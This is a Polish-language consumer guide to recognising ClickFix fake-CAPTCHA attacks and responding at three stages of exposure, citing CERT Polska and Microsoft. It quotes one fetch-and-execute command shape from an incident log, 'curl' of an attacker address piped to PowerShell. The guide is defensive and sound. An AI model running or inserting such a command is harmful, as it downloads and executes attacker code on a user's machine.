Fałszywa CAPTCHA każe wcisnąć Win+R. Jak rozpoznać atak ClickFix i co zrobić, gdy już kliknąłeś

Strona prosi, żebyś "potwierdził, że nie jesteś robotem", a instrukcja brzmi: Win+R, Ctrl+V, Enter. To nie jest weryfikacja, tylko atak, w którym ofiara własnymi rękami uruchamia kod przestępcy na swoim komputerze. Nazywa się ClickFix, a CERT Polska pisze wprost, że takich ataków w Polsce przybywa.

Poniżej: jak rozpoznać taką stronę i - co ważniejsze - trzy oddzielne ścieżki reakcji. Inaczej wygląda sytuacja, gdy tylko zobaczyłeś stronę, inaczej gdy skopiowałeś tekst, a jeszcze inaczej gdy polecenie się wykonało.

Dla kogo jest ten tekst

Dla osoby korzystającej z Windows 10 lub 11 na własnym komputerze, która zobaczyła podejrzaną "captchę" albo chce wiedzieć, co robić, zanim to się stanie. Nie potrzebujesz żadnych narzędzi ani wiedzy programistycznej. Jeśli komputer należy do firmy lub szkoły, przewiń do sekcji o sprzęcie służbowym - kolejność działań jest tam inna.

Kilka pojęć, żeby dalej było jasno:

• CAPTCHA - test na stronie, który ma odróżnić człowieka od programu. Klasycznie: zaznaczanie obrazków albo pole "Nie jestem robotem".
• Schowek - pamięć systemu, w której ląduje to, co skopiujesz (Ctrl+C lub Ctrl+X). Ctrl+V wkleja tę zawartość gdzie indziej.
• Okno "Uruchom" - okienko wywoływane skrótem Win+R, obecne w każdym Windowsie. Wpisujesz w nie polecenie, wciskasz Enter i to się wykonuje.
• PowerShell / wiersz polecenia - narzędzia wiersza poleceń obecne w każdym Windowsie, potrafiące dużo więcej niż okno "Uruchom".
• Windows Terminal - nowsza nakładka na nie. W Windows 11 jest domyślnie, w Windows 10 instaluje się ją ze Sklepu Microsoft (instrukcja). Jeśli strona każe "otworzyć Terminal", a na Windows 10 go nie masz, to nie znaczy, że wszystko gra - to nadal ta sama próba ataku.

Jak działa oszustwo

Mechanizm opisuje CERT Polska w poradniku Uwaga fałszywa CAPTCHA, czyli nie daj się zainfekować. Kolejność jest zawsze podobna:

1. Trafiasz na stronę wyświetlającą coś, co wygląda jak CAPTCHA - CERT zwraca uwagę, że logo bywa łudząco podobne do reCAPTCHA od Google.
2. Strona prosi o skopiowanie ciągu znaków albo o samo kliknięcie przycisku "Zweryfikuj"; w tym drugim wypadku kliknięcie po cichu wpisuje treść do schowka.
3. Pojawia się czytelna, ponumerowana instrukcja: Win+R, Ctrl+V, Enter.
4. Jeśli ją wykonasz, wklejone polecenie pobiera i uruchamia złośliwe oprogramowanie.

To działa, bo prawdziwe captche bywają uciążliwe, więc kolejna dziwaczna czynność nie budzi podejrzeń. CERT dodaje trafną obserwację: nie każdy kojarzy, że Ctrl+V to dokładnie to samo co "Wklej" z menu. Gdyby na ekranie stało "wklej do systemu treść, którą ci podrzuciliśmy", wątpliwości pojawiłyby się szybciej.

Skala nie jest teoretyczna. W lutym 2026 CERT Polska opublikował rozbiór realnego incydentu: ClickFix w akcji: jak fake captcha może zaszyfrować całą firmę. Jedna osoba w dużej polskiej organizacji wykonała instrukcję ze strony. Polecenie z logów miało kształt cmd /c curl <adres atakującego> | powershell - pobierz coś z sieci i od razu wykonaj, bez zapisywania widocznego instalatora. Skończyło się złośliwym oprogramowaniem Latrodectus i backdoorem Supper, który potrafi działać jako proxy i uruchamiać programy zlecane przez przestępców, a w systemie ukrywał się wśród plików podszywających się pod znanego producenta. Wniosek CERT: wektor prosty, ryzyko duże - atakujący dostaje możliwość wykonania dowolnego kodu w kontekście zalogowanego użytkownika.

Wariant nowszy: nie okno "Uruchom", tylko Terminal

Jeśli zapamiętasz wyłącznie hasło "nigdy Win+R", przegapisz odmianę opisaną przez Microsoft 28 sierpnia 2026 w analizie TerminalFix campaign deploys a reverse tunnel through multistage intrusion (relacjonuje ją też The Hacker News). Schemat ten sam, inne miejsce wklejenia: ofiara ma otworzyć Windows Terminal albo PowerShell. Powód Microsoft nazywa wprost - okno "Uruchom" to jedna linijka, a terminal zwiększa szansę, że złożony, wieloliniowy skrypt wykona się w całości. Przynętą jest podrobiona nakładka Cloudflare Turnstile z logo, checkboxem "Verify you are human" i animacją, doklejona do wcześniej przejętej strony. Ma to praktyczną konsekwencję, do której wracamy niżej: w terminalu wklejony tekst potrafi wykonać się sam, bez twojego Entera.

Reguła nie brzmi więc "uważaj na Win+R", tylko tak, jak zapisał to CERT Polska: żadna prawdziwa CAPTCHA nie wymaga opuszczenia strony internetowej. Jeśli test na człowieczeństwo każe ci cokolwiek zrobić w systemie, jest fałszywy - obojętne, czy chodzi o okno "Uruchom", Terminal, PowerShell, czy pasek adresu w Eksploratorze plików.

Sygnały ostrzegawcze na stronie

• prośba o wciśnięcie Win+R, Ctrl+V, Enter albo o otwarcie Terminala lub PowerShella,
• "skopiuj ten kod weryfikacyjny" przy braku pola, w które miałbyś go wpisać na stronie,
• ponumerowane kroki z klawiszami zamiast obrazków lub checkboxa,
• ciąg wyglądający jak identyfikator ("Verification ID: 8837-2214"), powstały z doklejenia dziesiątek spacji przed właściwym poleceniem, żeby w wąskim polu widać było tylko niegroźną końcówkę,
• strona pojawiła się po kliknięciu linku z maila, powiadomienia lub reklamy. W kampanii CERT z 2024 roku nośnikiem były automatyczne powiadomienia GitHuba, więc mail przychodził z prawdziwego adresu; w TerminalFix nakładkę serwowały zwykłe, przejęte strony.

Reakcja, krok po kroku - trzy różne sytuacje

Ustal najpierw, jak daleko zaszedłeś - to decyduje o wszystkim. Wahasz się między dwiema sytuacjami? Wybierz poważniejszą.

Sytuacja A: tylko otworzyłem stronę, nic nie kopiowałem

Ryzyko jest tu najniższe, ale nie napiszemy, że samo otwarcie strony na pewno nic nie robi - to nieuczciwa obietnica. Na aktualnej przeglądarce wyświetlenie strony zwykle nie uruchamia programu, jednak strona może pobrać plik, poprosić o zgodę (powiadomienia, kamera, mikrofon), a w rzadkich przypadkach wykorzystać lukę w przeglądarce nieaktualnej. Kilka rzeczy więc zrób.

1. Zamknij kartę. Nie klikaj "Zweryfikuj", nawet z ciekawości - w części wariantów to właśnie kliknięcie wpisuje polecenie do schowka.
2. Sprawdź listę pobranych plików w przeglądarce (Ctrl+J w Chrome i Edge). Jeśli coś się pobrało, a tego nie zamawiałeś, usuń ten plik i nie otwieraj go.
3. Sprawdź, czy strona nie wyprosiła sobie uprawnień (powiadomienia, kamera, mikrofon) - klikając ikonę po lewej stronie adresu na otwartej karcie albo później w ustawieniach witryn.
4. Wyczyść schowek i jego historię - jak, opisujemy w sytuacji B. Jeśli na pewno nic nie kopiowałeś, to tylko ostrożność.
5. Zgłoś adres strony do CERT Polska przez formularz incydent.cert.pl. Link z SMS-a? Przekaż całą wiadomość na numer 8080; baza wiedzy gov.pl precyzuje, że w Polsce jest to bezpłatne, wiadomość trzeba przekazać w oryginale i można zgłosić najwyżej trzy z jednego numeru w ciągu czterech godzin. Domeny trafiają na Listę Ostrzeżeń, z której korzystają operatorzy.

Pełne skanowanie zwykle nie jest tu potrzebne; jeśli coś się jednak pobrało, przejdź do kroków skanowania z sytuacji C.

Sytuacja B: skopiowałem albo wkleiłem, ale polecenie się nie wykonało

Ta sytuacja jest bezpieczna tylko wtedy, gdy potrafisz powiedzieć jedno z dwojga: skopiowałem i nigdzie nie wkleiłem, albo wkleiłem do okna "Uruchom" i wcisnąłem Escape, nie Enter.

Uwaga, która ratuje przed złudnym poczuciem bezpieczeństwa: "nie wcisnąłem Entera" nie wystarcza, jeśli wklejałeś do Terminala, PowerShella lub wiersza poleceń. Wieloliniowy tekst zawiera znaki końca linii, a terminal traktuje je tak samo jak Enter - polecenie może wykonać się samo zaraz po wklejeniu. Jeśli wklejałeś do terminala albo cokolwiek zaczęło się dziać na ekranie, potraktuj to jako sytuację C.

Jeśli zostajesz w sytuacji B:

1. Nie wklejaj tego nigdzie więcej - ani do okna "Uruchom", ani do Terminala, ani do paska adresu, ani "żeby zobaczyć, co to jest". Jeśli musisz zobaczyć treść, wklej ją do Notatnika, który wyświetla tekst i go nie wykonuje.
2. Jeśli okno "Uruchom" jest otwarte i coś w nim widnieje: wciśnij Escape albo kliknij "Anuluj". Nie Enter.
3. Nadpisz schowek, kopiując inny, niegroźny tekst. To jednak nie wystarczy, bo Windows przechowuje historię schowka.
4. Wyczyść historię schowka. Microsoft opisuje to w poradniku Using the clipboard: Start > Ustawienia > System > Schowek > wyczyść dane schowka. Szybciej: Win+V i opcja wyczyszczenia wszystkiego u góry listy.
5. Usuń osobno pozycje przypięte. Microsoft zaznacza, że czyszczenie usuwa wszystko oprócz elementów przypiętych - te kasuje się pojedynczo: Win+V, menu z trzema kropkami przy pozycji, usuń. Jeśli masz włączoną synchronizację schowka (powiązaną z kontem Microsoft), do czasu wyczyszczenia historii treść może być też w chmurze i na innym twoim komputerze.
6. Zamknij stronę i zgłoś ją jak w sytuacji A.
7. Pamiętaj, że pole w oknie "Uruchom" bywa krótkie, a atakujący celowo odsuwają właściwe polecenie w prawo spacjami. To, że widzisz "nic groźnego", nie znaczy, że nic groźnego tam nie ma.

Nigdzie nie publikuj skopiowanej treści - nie wklejaj jej do czatów, komentarzy ani zgłoszeń. CERT-owi wystarczy sam adres strony.

Sytuacja C: polecenie się wykonało

Traktuj komputer jak potencjalnie przejęty. Bez paniki, ale zrób dwie rzeczy równolegle: odetnij komputer i zabezpiecz konta z innego sprzętu.

Ostrzeżenie przed pierwszym krokiem: odłączenie od sieci przerwie synchronizację, zdalne pulpity i rozmowy online. Jeśli trwa coś, czego nie możesz przerwać, dokończ to na innym urządzeniu.

1. Odłącz komputer od wszystkich aktywnych połączeń. Nie "albo kabel, albo Wi-Fi" - jedno i drugie: wyjmij kabel Ethernet oraz wyłącz Wi-Fi, a także modem LTE lub hotspot z telefonu, jeśli z nich korzystasz. Komputer potrafi mieć kilka aktywnych interfejsów naraz i wyłączenie jednego nic nie daje.
2. Nie loguj się z tego komputera do niczego - ani do poczty, ani do banku, ani do konta Google.
3. Od razu, z innego, czystego urządzenia, zabezpiecz konta. Nie czekaj na wynik skanu - skany potrafią trwać godzinami, a przejęte hasła są wykorzystywane w minutach. Zacznij od poczty (to klucz do resetu reszty), potem bank i najważniejsze serwisy: zmień hasło, włącz weryfikację dwuetapową, wyloguj wszystkie sesje. Widzisz na koncie cokolwiek nieswojego? Dzwoń do banku natychmiast, numer biorąc z karty lub oficjalnej aplikacji.
4. Microsoft w instrukcji How to recover a hacked or compromised Microsoft account zaleca pełny skan przed zmianą hasła. To słuszne, ale dotyczy zmiany hasła na tym samym, podejrzanym komputerze, gdzie nowe hasło może zostać przechwycone od razu. Gdy zmieniasz je z innego, czystego urządzenia, powód do czekania znika.
5. Uruchom pełny skan. Otwórz aplikację Zabezpieczenia Windows (angielskie "Windows Security"; wpisz nazwę w menu Start), przejdź do ochrony przed wirusami i zagrożeniami, otwórz opcje skanowania i wybierz skan pełny. Polskie etykiety mogą różnić się między wydaniami; dokumentacja Microsoftu opisuje je jako Virus & threat protection > Scan options > Full scan. Uwaga: komputer jest odłączony od sieci, więc Defender skanuje na definicjach zapisanych wcześniej na dysku i nie pobierze nowszych - to kolejny powód, dla którego czysty wynik nie jest dowodem czystości systemu.
6. Potem skan offline. W tym samym miejscu jest opcja Microsoft Defender Antivirus (offline scan): komputer restartuje się i skanuje w środowisku odzyskiwania Windows, bez ładowania normalnego systemu, dzięki czemu trwale zainstalowanemu szkodnikowi trudniej się ukryć. Zapisz wcześniej otwarte pliki; wynik zobaczysz w historii ochrony (dokumentacja).
7. Zgłoś incydent na incydent.cert.pl, podając adres strony.

Bądźmy szczerzy co do granic tej procedury. Czysty wynik skanu nie jest dowodem, że komputer jest zdrowy - malware z incydentu CERT podszywał się pod legalne pliki, a w TerminalFix Microsoft opisał ukrywanie ładunków w zwykłych obrazkach PNG. Jeśli trzymasz tu dane firmowe, dostęp do bankowości albo cokolwiek, czego utrata byłaby dotkliwa, najpewniejsza jest ponowna instalacja systemu i odtworzenie danych z kopii sprzed incydentu. Nie obiecujemy, że te kroki zawsze zapobiegną stracie - wyraźnie jednak zmniejszają szkody.

Jeśli to komputer służbowy

Nie kombinuj samodzielnie i nie próbuj "posprzątać po sobie" przed zgłoszeniem. Odłącz od sieci, zostaw włączony i natychmiast zadzwoń do działu IT. W incydencie CERT jeden pomyłkowy Enter stał się początkiem obecności atakującego w sieci całej firmy, a Microsoft zaleca traktowanie takiego komputera jako punktu przerzutowego do reszty sieci - IT musi sprawdzić nie tylko twoją maszynę.

Jak zmniejszyć ryzyko na przyszłość

• Przekaż domownikom jedno zdanie: żadna weryfikacja "czy jesteś człowiekiem" nie każe niczego wpisywać ani wklejać w systemie.
• Trzymaj przeglądarkę i system w aktualnej wersji. Nie zatrzyma to ataku, w którym sam wykonujesz polecenie, ale zamyka luki, przez które strona mogłaby działać bez twojego udziału. Rzeczowo, bez straszenia: standardowe wsparcie Windows 10 zakończyło się 14 października 2025. Taki komputer nadal działa, ale nie dostaje już standardowych aktualizacji zabezpieczeń, chyba że korzystasz z programu rozszerzonych aktualizacji. To argument, by zaplanować przesiadkę - nie powód do paniki.
• Sprawdź na lista.cert.pl, czy twój operator korzysta z Listy Ostrzeżeń CERT. Jeśli nie, możesz dodać ją samodzielnie do uBlock Origin - formaty i instrukcja są na stronie Listy Ostrzeżeń.
• Pracuj na koncie bez uprawnień administratora, jeśli to możliwe - nie zablokuje to wszystkiego, ale ogranicza pole manewru.
• Zrób kopię zapasową ważnych plików na nośnik, który nie jest na stałe podłączony do komputera. To działa również wtedy, gdy wszystko inne zawiedzie.

Lista kontrolna

• Wiem, że prawdziwa CAPTCHA nigdy nie każe wychodzić ze strony do systemu - ani przez Win+R, ani przez Terminal czy PowerShell.
• Wiem, że kliknięcie "Zweryfikuj" może samo wpisać polecenie do schowka, a wklejenie wieloliniowego tekstu do terminala może wykonać się bez Entera.
• Jeśli tylko skopiowałem - nadpisałem schowek, wyczyściłem historię Win+V i usunąłem pozycje przypięte.
• Jeśli polecenie się wykonało - odłączyłem WSZYSTKIE połączenia (kabel i Wi-Fi), a hasła zmieniłem od razu z innego, czystego urządzenia.
• Skan pełny i offline uruchomione; wiem, że czysty wynik nie jest gwarancją.
• Bank sprawdzony i powiadomiony, jeśli cokolwiek na koncie budzi wątpliwości.
• Zgłosiłem stronę na incydent.cert.pl lub SMS na 8080.
• Komputer służbowy: zgłoszony do IT, nie "naprawiany" samodzielnie.

Źródła

• CERT Polska, Uwaga fałszywa CAPTCHA, czyli nie daj się zainfekować - mechanizm ataku, zasada o nieopuszczaniu strony.
• CERT Polska, ClickFix w akcji: jak fake captcha może zaszyfrować całą firmę - analiza incydentu, Latrodectus i Supper.
• Microsoft Security Blog, TerminalFix campaign deploys a reverse tunnel through multistage intrusion - wariant z Terminalem, nakładka Cloudflare Turnstile.
• The Hacker News, TerminalFix Uses Fake Cloudflare CAPTCHAs to Deploy Reverse-Tunnel Backdoor - niezależna relacja.
• Microsoft, Virus and Threat Protection in the Windows Security app - rodzaje skanowania, skan offline.
• Microsoft, How to recover a hacked or compromised Microsoft account - skan przed zmianą hasła.
• Microsoft, Using the clipboard - historia Win+V, pozycje przypięte, synchronizacja.
• Microsoft Learn, Install and set up Windows Terminal - Terminal w Windows 10 do doinstalowania.
• Microsoft, Windows 10 support has ended on October 14, 2025 - koniec wsparcia, opcje.
• CERT Polska, Lista Ostrzeżeń, lista.cert.pl, formularz zgłoszenia.
• gov.pl, Zgłoś podejrzany SMS lub email do CERT Polska - numer 8080.